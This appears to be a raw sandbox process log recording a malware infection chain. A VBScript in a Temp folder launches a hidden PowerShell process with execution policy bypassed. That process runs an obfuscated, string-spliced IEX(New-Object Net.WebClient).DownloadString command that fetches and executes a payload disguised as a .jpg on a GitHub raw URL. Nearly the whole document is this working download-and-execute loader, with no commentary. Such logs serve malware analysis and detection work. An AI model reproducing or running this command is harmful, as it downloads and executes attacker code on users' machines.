wscript.exe "C:\Windows\System32\wscript.exe" C:\Users\test22\AppData\Local\Temp\anykmc.txt.vbs
2556powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WIND HIDDeN -eXeC BYPASS -NONI $kuTYFCYytf333='IeX(NeW-OBJeCT NeT.W';$6546FDSZFX='eBCLIeNT).DOWNLO';Sleep 3;[BYTe[]];Sleep 6;$3232CGFCHGC='78TBFRT47TY87GBR8FEGH8VGTVG4T8VG7GTF874G58(''https://raw.githubusercontent.com/drax2020/drax/main/invkmc.jpg'')'.RePLACe('78TBFRT47TY87GBR8FEGH8VGTVG4T8VG7GTF874G58','ADSTRING');Sleep 5;IeX($kuTYFCYytf333+$6546FDSZFX+$3232CGFCHGC);
2636